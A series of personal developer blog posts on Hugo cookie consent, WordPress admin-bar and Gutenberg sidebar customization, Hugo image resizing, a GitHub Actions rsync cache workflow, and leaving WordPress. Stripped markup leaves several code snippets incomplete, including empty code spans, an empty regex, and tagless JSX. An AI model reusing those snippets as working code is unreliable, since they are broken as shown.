I have everything set to respect Do Not Track and use PrivacyMode whenever possible. It lightens my load a lot.
## Built Into Hinode: CookieYes
The site makes use of [Hinode](https://gethinode.com), which has[ built in support for cookie consent](https://gethinode.com/docs/configuration/cookie-consent/#predefined-integrations)… Kind of. They use the [CookieYes](https://www.cookieyes.com) service, which I get but I hate. I don’t want to offload things to a service. In fact, part of the reason I moved of WordPress and onto Hugo for the site was GDPR.
I care deeply about privacy. People have a right to privacy, and to opt *in* to tracking. A huge part of that is to minimize the amount of data from your own websites that are sent around to other people and saved on your own server/services!
Obviously I need to know some things. I need to know how many mobile users there are so I can make it better. I need to know what pages have high traffic so I can expand them. If everyone is going to a recap page only to try and find a gallery, then I need to make those more prominent.
In other words, I need Analytics.
And the best analytics? Still Google.
Sigh.
## Alternatively: CookieConsent
I did my research. I checked a lot of services (free and pay), I looked into solutions people have implemented for Hugo, and then I thought there *has* to be a simple tool for this.
There is.
[CookieConsent](https://cookieconsent.orestbida.com).
CookieConsent is a free, open-source (MIT) mini-library, which allows you to manage scripts — and consequently cookies — in full GDPR fashion. It is written in [vanilla js](http://vanilla-js.com) and can be integrated in any web platform/framework.
And yes, you can integrate with Hugo.
## How to Add CookieConsent to Hugo
First, download it. I have node set up to handle a lot of things, so I went with the easy route:
`npm i vanilla-cookieconsent@3.1.0`
Next, I have to add the dist files to my site. I added in a command to my `package.json`:
```
"build:cookie": "cp node_modules/vanilla-cookieconsent/dist/cookieconsent.css static/css/cookieconsent.css && cp node_modules/vanilla-cookieconsent/dist/cookieconsent.umd.js static/js/cookieconsent.umd.js",
```
If you’re familiar with Hinode, may notice I’m *not* using the [suggested way to integrate JS](https://gethinode.com/docs/advanced-settings/scripts/). If I was doing this in pure Hinode, I’d be copying the files to `assets/js/critical/functional/` instead of my `static` folder.
I tried. It errors out:
```
Error: error building site: EXECUTE-AS-TEMPLATE: failed to transform "/js/critical.bundle-functional.js" (text/javascript): failed to parse Resource "/js/critical.bundle-functional.js" as Template:: template: /js/critical.bundle-functional.js:210: function "revisionMessage" not defined
```
I didn’t feel like debugging the whole mess.
Anyway, once you get those files in, you need to make another special js file. This file is your configuration or initialization file. And if you look at the [configuration directions](https://cookieconsent.orestbida.com/essential/getting-started.html#configuration), it’s a little lacking.
Instead of that, go look at their [Google Example](https://cookieconsent.orestbida.com/advanced/google-consent-mode.html)! This gives you everything you need to comply with [Google Tag Manager Consent Mode](https://support.google.com/tagmanager/answer/10718549?hl=en), which matters to me. I copied that into `/static/js/cookieconsent-init.js` and customized it. Like, I don’t have ads so I left that out.
## Add Your JS and CSS
I already have a customized header (`/layouts/partials/head/head.html`) for unrelated reasons, but if you don’t, copy the one from Hinode core over and add in this above the call for the SEO file:
``
Then you’ll want to edit `/layouts/partials/templates/script.html` and add in this at the bottom:
``
Since your init file contains the call to the main consent code, you’re good to go!
## The Output
When you visit the site, you’ll see this:
ScreenshotNow there’s a typo in this one, it should say “That means if you click “Reject” right now, you won’t get any Google Analytics cookies.” I fixed it before I pushed anything to production. But I made sure to specify that so people know right away.
If you click on manage preferences, you’ll get the expanded version:
ScreenshotThe language is dry as the desert because it’s to meet Google’s specifics.
As for ‘strictly necessary cookies’?
> At this time we have NO necessary cookies. This option is here as a placeholder in case we have to add any later. We’ll notify you if that happens.
And how will I notify them? By using [Revision Management](https://cookieconsent.orestbida.com/advanced/revision-management.html).
**Categories:** How To
**Tags:** coding, hugo, privacy
---
### [Open for Employment - No Longer!](https://halfelf.org/2024/open-for-employment/)
**Published:** October 7, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I am currently open for employment offers. -- EDIT! No longer!
**Content:**
**As of Dec 2, 2024, I am employed with [AwesomeMotive](https://awesomemotive.com)! I am no longer in need of a new gig. I am leaving this post up in case someone does want to pay me to work on LezWatch.TV and make bagels all day.**
---
As of 31 October 2024, my engagement with XWP will end. I am incredibly thankful for the time I spent with them and the trust they placed in me. Don’t get me wrong, it sucks, but the world just works like this sometimes.
[**I’m currently in search of full time employment! I’ve updated my resume and begun posting and looking for gigs.**](https://halfelf.org/resume/)
## What am I looking for?
Honestly as much as I’d love someone to pay me to just work on LezWatch.TV and make bagels all day, it’s pretty unlikely (though if you do…).
What I’m looking for is a full time job where I get to make cool things, get a fair paycheck that allows me to save to buy a house, and provides enough vacation time that I’m not spending all of it on Jewish Holidays and can actually take a trip now and then.
## What do I want to do?
This is likely a tech stack question. I can do WordPress, I’m very good at it, but I also know Hugo and can pick up other stacks pretty quickly. I’ve done full stack work before (server birth to death), worked in automation, and myriad other platforms like MediaWiki, ZenPhoto, and more. I’m game for learning any CMS.
## Would I really still work in WordPress?
I would.
Look, I know there’s a lot of volatility in the WordPress world but honestly with that in mind, you need someone like me! Why? Because I know WordPress plugins! If something happens and you can’t access .org, I’m your girl. I know how to scan plugins (and themes) for backdoors and bad code, as well as write the good stuff. I know risk assessment and management, which means I can help you when plugin ownership is in doubt.
I also know a lot of backstory to a lot of development shops and how they treat people. What? You knew I took notes about plugin devs!
There are millions of WordPress sites out there. They still need devs.
## Would I leave WordPress for anything else?
Absolutely! Nothing against WordPress (or the current state of affairs), but my love for it is not absolute. It’s tempered in reality. WordPress is not the perfect solution for everyone, after all. I’m game to learn new things, to integrate, to test, and to break things.
And if you’re transitioning a site to or away from WordPress? Hey! I’m uniquely positioned to be able to tell you exactly what that code was doing and, in most cases, why!
## Would I work for Automattic?
No. That ship sailed about 15 years ago. I interviewed pretty much around now back then, and in talking with Matt directly we both agreed I would be a bad fit. No harm, no foul. I think that was the right choice, all this time later, and I have no regrets.
## Would I go back into Hosting?
Sure. I liked that work. It’s fun, challenging, and I learned a lot of new platforms and specifics. I got to play with servers and it gave me a deeper understanding in how to approach asking a host for help. Bonus? I know devs, so I can help debug your code on servers!
(If DreamHost calls me up right after this post, I would absolutely talk with them about opportunities without a second thought!)
## What about Agency Work?
Depends on the agency.
Some agencies are real meat grinders, and some are less so. The hardest part about agency life is how fast everyone and everything has to move. Also it’s incredibly volatile! If the company who hired you isn’t doing well, fffftttt you’re screwed.
(Again, if XWP called me tomorrow, I would happily talk with them.)
## Would I work for a plugin shop?
Yes, I would. I know plugins, I know the repo (sure things have changed but the basics aren’t going to), and I know the forums. Plugins are a lot of work of course.
## How about a security company?
That would be epic fun. Yes. Finding issues, reporting them reasonably and privately, getting them fixed, and helping everyone? I miss that from Plugin Reviews.
## What about just plain ol’ IT?
I’ve done it before. I’m sure some of my info is out of date (anyone need a Windows NT Server certified dev?), but again, I’m willing and able to learn. Basic IT has some joy you know, and users do some wild and crazy things you don’t expect.
## Didn’t anyone tell me not to sell ME in a resume?
Many. But the thing is, you’re not hiring a machine, you’re hiring a *person*. If you want a grunt to grind? That ain’t me.
If you want a well reasoned, insightful, and creative individual who thinks for herself and is willing to try things even if they fail, because those lessons help you going forward? Who fights for the users and is honest even when it hurts? Who will stand by her principles even if they cost her work? Who is passionate and puts her all into everything?
That’s me.
[**Like what you read?** ](https://halfelf.org/resume/)
[**Check out my resume and toss me a line!**](https://halfelf.org/resume/)
**Categories:** How It Is
**Tags:** employment, jobs, open source, wordpress
---
### [Replacing the W in Your Admin Bar](https://halfelf.org/2025/replacing-the-w-in-your-admin-bar/)
**Published:** February 14, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ever wanted to replace the W in your WordPress admin bar? Wanted to remove the items you don't need? You can do that and more!
**Content:**
This is a part of ‘white labeling’, which basically means rebranding.
When you have a website that is not used by people who really need to mess with WordPress, nor learn all about it (because you properly manage your own documentation for your writers), then that W in your admin toolbar is a bit odd, to say the least.
This doesn’t mean I don’t want my editors to know what WordPress is, we have a whole about page, and the powered-by remains everywhere in the admin pages, but that logo…
Well anyway, I decided to nuke it.
## Remove What You Don’t Need
First I made a function that removes everything I don’t need:
```
function cleanup_admin_bar(): void {
global $wp_admin_bar;
// Remove customizer link
$wp_admin_bar->remove_menu( 'customize' );
// Remove WP Menu things we don't need.
$wp_admin_bar->remove_menu( 'contribute' );
$wp_admin_bar->remove_menu( 'wporg' );
$wp_admin_bar->remove_menu( 'learn' );
$wp_admin_bar->remove_menu( 'support-forums' );
$wp_admin_bar->remove_menu( 'feedback' );
// Remove comments
$wp_admin_bar->remove_node( 'comments' );
}
add_action( 'wp_before_admin_bar_render','cleanup_admin_bar' );
```
I also removed the comments node and the customizer because this site doesn’t use comments, and also how many times am I going to that Customizer anyway? Never. But the number of times I miss-click on my tablet? A lot.
But you may notice I did not delete *everything*. That’s on purpose.
## Make Your New Nodes
Instead of recreating everything, I reused some things!
```
function filter_admin_bar( $wp_admin_bar ): void {
// Remove Howdy and Name, only use avatar.
$my_account = $wp_admin_bar->get_node( 'my-account' );
if ( isset( $my_account->title ) ) {
preg_match( '//', $my_account->title, $matches );
$title = ( isset( $matches[0] ) ) ? $matches[0] : '';
$wp_admin_bar->add_node(
array(
'id' => 'my-account',
'title' => $title,
)
);
}
// Customize the Logo
$wp_logo = $wp_admin_bar->get_node( 'wp-logo' );
if ( isset( $wp_logo->title ) ) {
$logo = file_get_contents( '/images/site-logo.svg' );
$wp_admin_bar->add_node(
array(
'id' => 'wp-logo',
'title' => '' . $logo . '',
'parent' => null,
'href' => '/wp-admin/admin.php?page=my-site',
'group' => null,
'meta' => array(
'menu_title' => 'About SITE',
),
),
);
$wp_admin_bar->add_node(
array(
'parent' => 'wp-logo',
'id' => 'about',
'title' => __( 'About SITE' ),
'href' => '/about/',
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'wp-logo-external',
'id' => 'documentation',
'title' => __( 'Documentation' ),
'href' => 'https://docs.example.com/',
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'wp-logo-external',
'id' => 'slack',
'title' => __( 'Slack' ),
'href' => 'https://example.slack.com/',
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'wp-logo-external',
'id' => 'validation',
'title' => __( 'Data Validation' ),
'href' => '/wp-admin/admin.php?page=data_check',
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'wp-logo-external',
'id' => 'monitors',
'title' => __( 'Monitors' ),
'href' => '/wp-admin/admin.php?page=monitor_check',
)
);
}
}
add_filter( 'admin_bar_menu', array( $this, 'filter_admin_bar' ), PHP_INT_MAX );
```
I replaced the default ‘about’ with my site’s about URL. I replaced the documentation node with my own. Everything else is new.
Now the image… I have an SVG of our logo, and by making my span class named `my-site-icon`, I was able to spin up some simple CSS:
```
#wpadminbar span.my-site-icon svg {
width: 25px;
height: 25px;
}
```
And there you are.
## Result
What’s it look like?
All those links are to our tools or documentation.
**Categories:** How To
**Tags:** coding, wordpress, wpadminbar
---
### [Editor Sidebar Madness and Gutenberg](https://halfelf.org/2024/editor-sidebar-madness-and-gutenberg/)
**Published:** December 11, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a document sidebar in Gutenberg isn't hard at all, but it is messy and confusing when you're starting out.
**Content:**
Way back when WP was simple and adding a sidebar to the editor was a simple metabox, I had a very straightforward setup with a box that, on page load, would tell you if the data in the post matched the remote API, and if not would tell you what to update.
My plan was to have it update on refresh, and then auto-correct if you press a button (because sometimes the API would be wrong, or grab the wrong account — loose searching on people’s names is always rough). But my plan was ripped asunder by this new editor thingy, Gutenberg.
I quickly ported over my simple solution and added a note “This does not refresh on page save, sorry.” and moved on.
Years later brings us to 2024 and November being my ‘funenployment’ month, where I worked on little things to keep myself sharp before I started at AwesomeMotive. Most of the work was fixing security issues, moving the plugin into the theme so there was less to manage, modernizing processes, upgrading libraries, and so on.
But one of those things was also making a real Gutenbergized sidebar that autoupdates (mostly).
## What Are We Doing?
On LezWatch.TV, we collect actor information that is public and use it to generate our pages. So if you wanted to add in an actor, you put in their name, a bio, an image, and then all this extra data like websites, social media, birthdates, and so on. WikiData actually uses *us* to help determine gender and sexuality, so we pride ourselves on being accurate and regularly updated.
In return, we use WikiData to help ensure we’re showing the data for the right person! We do that via a simple search based on either their WikiData ID (QID), IMDb ID, or their name. The last one is pretty loose since actors can have the same name now (oh for the days when SAG didn’t allow that…). We use the QID to override the search in cases where it grabs the wrong person.
I built a CLI command that, once a week, checks actors for data validity. It makes sure the IMDb IDs and socials are formatted properly, it makes sure the dates are valid, and it pings WikiData to make sure the birth/death etc data is also correct.
With that already in place, all I needed was to call it.
## You Need an API
The first thing you need to know about this, is that Gutenberg uses the JSON API to pull in data. You *can* have it pull in everything by custom post meta, but as I already have a CLI tool run by cron to generate that information, making a custom API call was actually going to be faster.
I went ahead and made it work in a few different ways (you can call it by IMDb ID, post ID, QID, and the slug) because I planned for the future. But really all any of them are doing is a search like this:
```
/**
* Get Wikidata by Post ID
*
* @param int $post_id
* @return array
*/
private function get_wikidata_by_post_id( $post_id ): array {
if ( get_post_type( $post_id ) !== 'post_type_actors' ) {
return array(
'error' => 'Invalid post ID',
);
}
$wikidata = ( new Debug_Actors() )->check_actors_wikidata( $post_id );
return array( $wikidata );
}
```
The return array is a list of the data we check for, and it either is a string of ‘matches’ /`true`, or it’s an array with WikiData’s value and our value.
## Making a Sidebar
Since we have our API already, we can jump to making a sidebar. Traditionally in Gutenberg, we make a sidebar panel for the block we’re adding in. If you want a custom panel, you can add in one with an icon on the Publish Bar:
While that’s great and all, I wanted this to be on the side by default for the actor, like Categories and Tags. Since YoastSEO (among others) can do this, I knew it had to be possible:
But when I started to search around, all anyone told me was how I had to use a block to make that show.
I knew it was bullshit.
## Making a Sidebar – The Basics
The secret sauce I was looking for is decidedly simple.
```
const MetadataPanel = () => (
[PANEL STUFF HERE]
);
```
I knew about `PanelRow` but finding `PluginDocumentSettingPanel` took me far longer than it should have! The [documentation](https://developer.wordpress.org/block-editor/reference-guides/slotfills/plugin-document-setting-panel/) doesn’t actually tell you ‘You can use this to make a panel on the Document settings!’ but it is obvious once you’ve done it.
## Making it Refresh
This is a pared down version of the code, which I will link to at the end.
The short and simple way is I’m using `UseEffect` to refresh:
```
useEffect(() => {
if (
postId &&
postType === 'post_type_actors' &&
postStatus !== 'auto-draft'
) {
const fetchData = async () => {
setIsLoading(true);
try {
const response = await fetch(
`${siteURL}/wp-json/lwtv/v1/wikidata/${postId}`
);
if (!response.ok) {
throw new Error(
`HTTP error! status: ${response.status}`
);
}
const data = await response.json();
setApiData(data);
setError(null);
} catch (err) {
setError(err.message);
setApiData(null);
} finally {
setIsLoading(false);
}
};
fetchData();
}
}, [postId, postType, postStatus, siteURL, refreshCounter]);
```
The reason I’m checking post type and status, is that I don’t want to try and run this if it’s not an actor, and if it’s not at least a real draft.
The constants are as follows:
```
const [apiData, setApiData] = useState(null);
const [isLoading, setIsLoading] = useState(true);
const [error, setError] = useState(null);
```
Right below this I have a second check:
```
if (postType !== 'post_type_actors') {
return null;
}
```
That simply prevents the rest of the code from trying to run. You have to have it *after* the `UseEffect` because JS is weird and does things in an order. If you have a return before it, it fails to pass a lint (and I enforce linting on this project).
How it works is on page load of an auto-draft, it tells you to save the post before it will check. As soon as you do save the post (with a title), it refreshes and tells you what it found, speeding up *initial* data entry!
But then there’s the issue of refreshing on demand.
## HeartBeat Flatline – Use a Button
I did, at one point, have a functioning heartbeat checker. That can get pretty expensive and it calls the API too many times if you leave a window open. Instead, I made a button that uses a constant:
```
const [refreshCounter, setRefreshCounter] = useState(0);
```
and a handler:
```
const handleRefresh = () => {
setRefreshCounter((prevCounter) => prevCounter + 1);
};
```
Then the button itself:
```
{isLoading ? 'Refreshing...' : 'Refresh'}
```
Works like a champ.
## Output the Data
The data output is the interesting bit, because I’m still not fully satisfied with how it looks.
I set up a filter to process the raw data:
```
const filteredPersonData = (personData) => {
const filteredEntries = Object.entries(personData).filter(
([key, value]) => {
const lowerCaseValue = String(value).toLowerCase();
return (
lowerCaseValue !== 'match' &&
lowerCaseValue !== 'n/a' &&
!['wikidata', 'id', 'name'].includes(key.toLowerCase())
);
}
);
return Object.fromEntries(filteredEntries);
};
```
The API returns the WikiData ID, the post ID, and the name, none of which need to be checked here, so I remove them. Otherwise it capitalizes things so they look grown up.
Then there’s a massive amount of code in the panel itself:
```
{isLoading && }
{error && Error: {error}}
{!isLoading && !error && apiData && (
{apiData.map((item) => {
const [key, personData] = Object.entries(item)[0];
const filteredData = filteredPersonData(personData);
return (
{personData.name}
{Object.keys(filteredData).length ===
0 ? (
[All data matches]
) : (
{Object.entries( filteredData ).map(([subKey, value]) => (
{subKey}
{value && (
{Object.entries( value ).map( ([ innerKey, innerValue, ]) => (
{innerKey}:{' '} {innerValue || 'empty'}
)
)}
)}
{!value && 'empty'}
))}
)}
);
})}
)}
{!isLoading && !error && !apiData && (
No data found for this post.
)}
```
`` is from `'@wordpress/components'` and is a default component.
Now, `innerKey` is actually not a simple output. I wanted to capitalize the first letter and unlike PHP, there’s no `ucfirst()` function, so it looks like this:
`{innerKey .charAt( 0 ).toUpperCase() + innerKey.slice( 1 )}`
Sometimes JavaScript makes me want to drink.
## The Whole Code
You can find the whole block, with some extra bits I didn’t mention but I do for quality of life, on our [GitHub repo for LezWatch.TV](https://github.com/LezWatch/lwtv-underscores/tree/production/plugins/lwtv-plugin/php/blocks/src/wikidata-actor). We use the `@wordpress/scripts` tooling to generate the blocks.
The source code is located in folders within `/src/` – that’s where most (if not all) of your work will happen. Each new block gets a folder and in each folder there must be a `block.json` file that stores all the metadata. Read [Metadata in block.json](https://developer.wordpress.org/block-editor/reference-guides/block-api/block-metadata/) if this is your first rodeo.
The blocks will automagically build anytime anyone runs `npm run build` from the main folder. You can also run `npm run build` from the `blocks` folder.
All JS and CSS from blocks defined in `blocks/*/block.json` get pushed to the `blocks/build/` folder via the build process. PHP scans this directory and registers blocks in `php/class-blocks.php`. The overall code is called from the `/blocks/src/blocks.php` file.
The build subfolders are *NOT* stored in Git, because they’re not needed to be. We run the build via actions on deploy.
## What It Looks Like
One of the things I want to do is have a way to say “use WikiData” or “use ours” to fill in each individual data point. Sadly sometimes it gets confused and uses the wrong person (there’s a Katherine with an E Hepburn!) so we do have a QID override, but even so there can be incorrect data.
WikiData often lists socials and websites that are defunct. Mostly that’s X these days.
## Takeaways
It’s a little frustrating that I either have to do a complex ‘normal’ custom meta box with a lot of extra JS, or make an API. Since I already had the API, it’s no big, but sometimes I wish Gutenberg was a little more obvious with refreshing.
Also finding the right component to use for the sidebar panel was absolutely maddening. Every single document was about doing it with a block, and we weren’t adding blocks.
Finally, errors in Javascript remain the worst. Because I’m compiling code for Gutenberg, I have to hunt down the likely culprit, which is hard when you’re still newish to the code! Thankfully, JJ from XWP was an angel and taught me tons in my 2 years there. I adore her.
**Categories:** How To
**Tags:** coding, gutenberg, wordpress
---
### [Small Hugo, Big Images](https://halfelf.org/2024/small-hugo-big-images/)
**Published:** October 21, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Resizing images in Hugo is neither obvious nor easy, but it is doable!
**Content:**
In working on my Hugo powered gallery, I ran into some interesting issues, one of which was from my theme.
I use a Bootstrap powered theme called Hinode. And [Hinode](https://gethinode.com) is incredibly powerful, but it’s also very complicated and confusing, as Hugo’s documentation is still in the alpha stage. It’s like the early days of other web apps, which means a lot of what I’m trying to do is trial and error. Don’t ask me when I learned about [`errorf`](https://gohugo.io/functions/fmt/errorf/errorf), okay?
My primary issues are all about images, sizing and filing them.
## Image Sizes
When you make a gallery, logically you want to save the large image as the zoom in, right? Click to embiggen. The problem is, in Hinode, you can load an image in a few ways:
1. Use the standard old `img` tag
2. Call the default Hugo shortcode of `{{< figure >}}`
3. Call a Hinode shortcode of `{{< image >}}`
4. Use a partial
Now, that last one is a little weird, but basically you can’t us a shortcode inside a theme file. While WordPress has a `do_shortcode()` method, you use partial calls in Hugo. And you have to know not only the exact file, but if your theme even uses partials! Some don’t, and you’re left reconstructing the whole thing.
Hinode has the shortcodes in partials and I love them for it! To call an image using the partial, it looks like this:
```
{{- partial "assets/image.html" (dict
"url" $imgsrc
"ratio" "1x1"
"wrapper" "mx-auto"
"title" $title)
-}}
```
That call will generate webp versions of my image, saved to static image folder (which is a post of its own), and have the source sets so it’s handy and responsive.
What it isn’t is resized. Meaning if I used that code, I would end up with the actual huge ass image used. Now, imagine I have a gallery with 30 images. That’s 30 big ass images. Not good. Not good for speed, not good for anyone.
I ended up making my own version of `assets/image.html` (called `lightbox-image.html`) and in there I have this code:
```
{{ with resources.Get $imagefile }}
{{ $image = .Fill "250x250" }}
{{ $imagesrc = $image.RelPermalink }}
{{ end }}
```
If the file is local, which is what that get call is doing, it uses the file (`$imagefile` is the ‘path’ to the file) to make a 250×250 sized version and then grabs that new permalink to use.
```
{{ if $imagefile }}
{{ end }}
```
Boom!
This skips over all the responsive resizing, but then again I don’t need that when I’m making a gallery, do I?
## Remote Image Sizes
Now let’s add in a wrinkle. What if it’s a remote image? What if I passed a URL of a remote image? For this, you need to know that on build, that Hinode code will download the image locally. Local images load faster. I can’t use the same get, I need the remote get, but now I have a new issue!
Where are the images saved? In the `img` folder. No subfolders, the one folder. And I have hundreds of images to add.
Mathematically speaking, you can put about four billion files in a folder before it’s an issue for the computers. But if you’ve ever tried to find a specific file to check in a folder that large, you’ve seriously reconsidered your career trajectory. And practically speaking, the more files, the slower the processing.
Anyone else remember when GoDaddy announced a maximum of [1024 files](https://www.godaddy.com/help/how-many-files-can-a-shared-hosting-directory-hold-4261) in a folder on their shared hosting? While I question the long term efficacy of that, I do try to limit my files. I know that using the get/remote get calls with tack on a randomized name at the end, but I’d like them to be organized.
Since I’m calling all my files from my assets server (`assets.example.com`), I can organize them there and replicate that in my build. And my method to do that is as follows:
```
{{ if eq $image "" }}
{{- $imageurl = . | absURL -}}
{{- $imagesrc = . | absURL -}}
{{ $dir := (urls.Parse $imageurl).Path }}
{{ with resources.GetRemote $imageurl | resources.Copy $dir }}
{{ with .Err }}
{{ warnf "%s" . }}
{{ else }}
{{ $image = . }}
{{ $imageurl = $image.Permalink }}
{{ $image = $image.Fill "250x250" }}
{{ $imagesrc = $image.RelPermalink }}
{{ end }}
{{ end }}
{{ end }}
```
I know that shit is weird. It pairs off the earlier code. If you don’t create the image variable, then you know the image wasn’t local. So I started by getting the image url from ‘this’ (that’s what the period is) as an absolute url. Then I used the path of the url to generate my local folder path! When I use the Copy command with the pipe, it will automatically use that as the destination.
## Conclusion
You can totally make images that are resized in Hugo. While I wish that was easier to do, most people aren’t as worried as I am about storing the images on their repository, so it’s less of an issue. Also galleries on Hugo are fairly rare.
I’m starting some work now with Hinode for better gallery-esque support, and we’ll see where that goes. Maybe I’ll get a patch in there!
**Categories:** How To
**Tags:** coding, hugo, images
---
### [Hugo and a Lot of Images](https://halfelf.org/2024/hugo-and-a-lot-of-images/)
**Published:** September 20, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When your Hugo site has a lot of images, you have to take additional measures.
**Content:**
One issue with Hugo is that the way I’m deploying it is via Github actions, which means every time I want to update, the site has to be totally rebuilt. Now the primary flaw with that process is that when Hugo builds a lot of images, it takes a lot of time. About 8 minutes.
The reason Hugo takes this long is that every time it runs its builds, it regenerates all the images and resizes them. This is not a bad thing, since Hugo smartly caches everything in the `/resources/_gen/` folder, which is not sync’d to Github, and when you run builds locally it doesn’t take half as long.
Now, this speed is about the same whether the images are locally (as in, stored in the repository) or remote (which is where mine are located – `assets.example.com`), because regardless it has to build the resized images. This only runs on a build, since it’s only needed for a build. Once the content is on the server, it’s unnecessary.
The obvious solution to solve my speed issues would be to include the folder in Github, only I don’t want to store any images on Github if I can help it (legal reasons, if there’s a DMCA its easier to nuke them from my own storage). The less obvious solution is how we got here.
## The Basic Solution
Here’s your overview:
1. Checkout the repo
2. Install Hugo
3. Run the repo installer (all the dependancies etc)
4. Copy the files from ‘wherever’ to the Git resource
5. Run the build (which will use what’s in the resource folder to speed it up)
6. Copy the `resources` folder content back down to the server
This would allow me to have a ‘source of truth’ and update it as I push code.
## The Setup
To start with, I had to decide where to upload the content. The folder is (right now) about 500 megs, and that’s only going to get bigger. Thankfully I have a big VPS and I was previous hosting around 30 gigs there, so I’m pretty sure this will be okay.
But the ‘where’ specifics needed a little more than that. I went with a subdomain like `secretplace.example.com` and in there is a folder called `/resources/_gen/`
Next, how do I want to upload to for starters? I went with only uploading the static CSS files because my plan involves pushing things *back* down after I re-run the build.
Then comes the downloading. Did you know that there’s nearly no documentation about how to `rsync` from a remote source *to* your Github Action instance? It doesn’t help that the words are all pretty generic, and search engines think “Oh you want to know about `rsync` and a Github Action? You must want to sync from your action to your server!” No, thank you, I wanted the opposite.
While there’s a nifty wrapper for [syncing over SSH for Github](https://github.com/easingthemes/ssh-deploy), it only works one way. In order to do it the other way, you have to understand the actual issue that action is solving. The SSH-sync isn’t solving `rsync` at all, that’s *baked in* to the action image (assuming you’re using ubuntu…). No, what the action solves is the mishegas of adding in your SSH details (the key, the known hosts, etc).
I could use that action to copy back down to the server, but if you’re going to have to solve the issue once, you may as well use it all the time. Once that’s solved, the easy part begins.
## Your Actions
Once we’ve understood where we’re going, we can start to get there.
I’ve set this up in my `ci.yml`, which runs on everything except production, and it’s a requirement for a PR to pass it before it can be merged into production. I could skip it (as admin) but I try very hard not to, so I can always confirm my code *will* actually push and not error when I run it.
```
name: 'Preflight Checks'
on:
push:
branches:
- '!production' # excludes production.
concurrency:
group: ${{ github.ref }}-ci
cancel-in-progress: true
jobs:
preflight-checks:
runs-on: ubuntu-latest
steps:
- name: Do a git checkout including submodules
uses: actions/checkout@v4
with:
submodules: true
- name: Install SSH Key
uses: shimataro/ssh-key-action@v2
with:
key: ${{ secrets.SERVER_SSH_KEY }}
known_hosts: unnecessary
- name: Adding Known Hosts
run: ssh-keyscan -H ${{ secrets.REMOTE_HOST }} >> ~/.ssh/known_hosts
- name: Setup Hugo
uses: peaceiris/actions-hugo@v3
with:
hugo-version: 'latest'
extended: true
- name: Setup Node and Install
uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
cache: 'npm'
- name: Install Dependencies
run: npm install && npm run mod:update
- name: Lint
run: npm run lint
- name: Make Resources Folder locally
run: mkdir resources
- name: Download resources from server
run: rsync -rlgoDzvc -i ${{ secrets.REMOTE_USER }}@${{ secrets.REMOTE_HOST }}:/home/${{ secrets.REMOTE_USER }}/${{ secrets.HUGO_RESOURCES_URL }}/ resources/
- name: Test site
run: npm run tests
- name: Copy back down all the regenerated resources
run: rsync -rlgoDzvc -i --delete resources/ ${{ secrets.REMOTE_USER }}@${{ secrets.REMOTE_HOST }}:/home/${{ secrets.REMOTE_USER }}/${{ secrets.HUGO_RESOURCES_URL }}/
```
Obviously this is geared towards Hugo. My command `npm run tests` is a home-grown command that runs a build and then some tests on said build. It’s separate from the linting, which comes with my theme. Because it’s running a build, this is where I can make use of my pre-built resources.
You may notice I set `known_hosts` to ‘unnecessary’ — this is a lie. They’re totally needed but I had a devil of a time making it work at all, so I followed the advice from Zell, [who had a similar headache](https://zellwk.com/blog/github-actions-deploy/), and put in the `ssh-keyscan` command.
When I run my deploy action, it only runs the build (no tests), but it also copies down the resources folder to speed it up. I only copy it back up on testing for the teeny speed boost.
## Results
Before all this, my builds took 8 to 9 minutes.
After they took 1 to 2, which is way better. Originally I only had it down to 4 minutes, but I was using `wget` to test things (and that’s generally not a great idea — it’s slow). Once I switched to rsync, it’s incredibly fast. The build of Hugo is still the slowest part, but it’s around 90 seconds.
**Categories:** How To
**Tags:** deployment, github, hugo
---
### [Why NOT WordPress?](https://halfelf.org/2024/why-not-wordpress/)
**Published:** August 13, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I've taken my oldest site and moved it away from WordPress. Why? It's complicated.
**Content:**
There’s a website I’ve been running since 1996.
Yes, I know, I’m an Internet Old.
1996\. That’s 7 years **before** WordPress was a thing. So it’s not surprising this site was (at one point) moved from ‘something else’ to WordPress. Actually a lot of something-elses over the nearly 30 years of its existence. I moved it over to WP around 2005 (WordPress 1.5) and pretty much left it there for years.
Now it’s different. Now the site is 100% powered by [Hugo](https://gohugo.io).
## Why Did I Stop Using WordPress?
To understand this decision, you have to keep in mind that the site had been three parts for about 20 years.
1. The Blog, where announcements were made, etc, powered by [WordPress](https://wordpress.org)
2. The Image Gallery, which had … images (about 20 Gigs), powered by [netPhotoGraphics](https://netphotographics.org/)
3. The Wiki/Library, which is the documentation, powered by [Hugo](https://gohugo.io)
Well, this year I got a nasty-gram and was forced to shut down the gallery. The simple truth was yes, the gallery included images that legally I didn’t have the right to use. No excuses. But the company involved was kind enough to work out a partial situation. I’m still in the middle of moving what images I can keep into a new home, but while that’s going on, I had a chance to sit down and face reality.
The gallery, you see, was the biggest feature of the site. Next was the Wiki/Library, and the blog was pretty much just announcements. There was a forum, it was removed ages ago. There was BuddyPress, ditto. People management just isn’t fun.
There was also the matter of cross linked data. Oh my, did a lot of images appear on the blog and the gallery. I was going to have to purge the old blog posts en masse anyway, so at that point, I asked myself that big question.
> Do I want to move the library to WP, or the blog to Hugo?
Consider the following:
1. I was going to have to manually curate nearly 30 years of blog posts (took a few thousand down to about 50)
2. I *already* had a running Hugo site and was familiar with it (it has over 1600 files)
3. If I ported to WP, I would have to rebuild my data setup for how the data is output
4. Importing blog posts as text only is incredibly easy
With that in mind, it seemed obvious. Hugo.
## What’s Different with Hugo?
Obviously I lose the ability to write a blog post and press publish. I have to add a new file, manually link it to my new image, and push to GitHub, where it’s auto-deployed to the site in question. The process for any data is basically this:
1. Create a branch on my GitHub Repo
2. Add the new content
3. Merge the branch into Production
At that point a GitHub action takes over.
Beyond that, however, there are some things you take for granted with WP. Like the ease of a mailing list with Jetpack. Now, I did export my Jetpack subscribers and I’m working on a solution there, but yeah, that was a big hit. There’s also the matter of auto-deploying content to socials. But… honestly that’s been pretty much shit-and-miss lately, what with Facebook and Twitter being what they are.
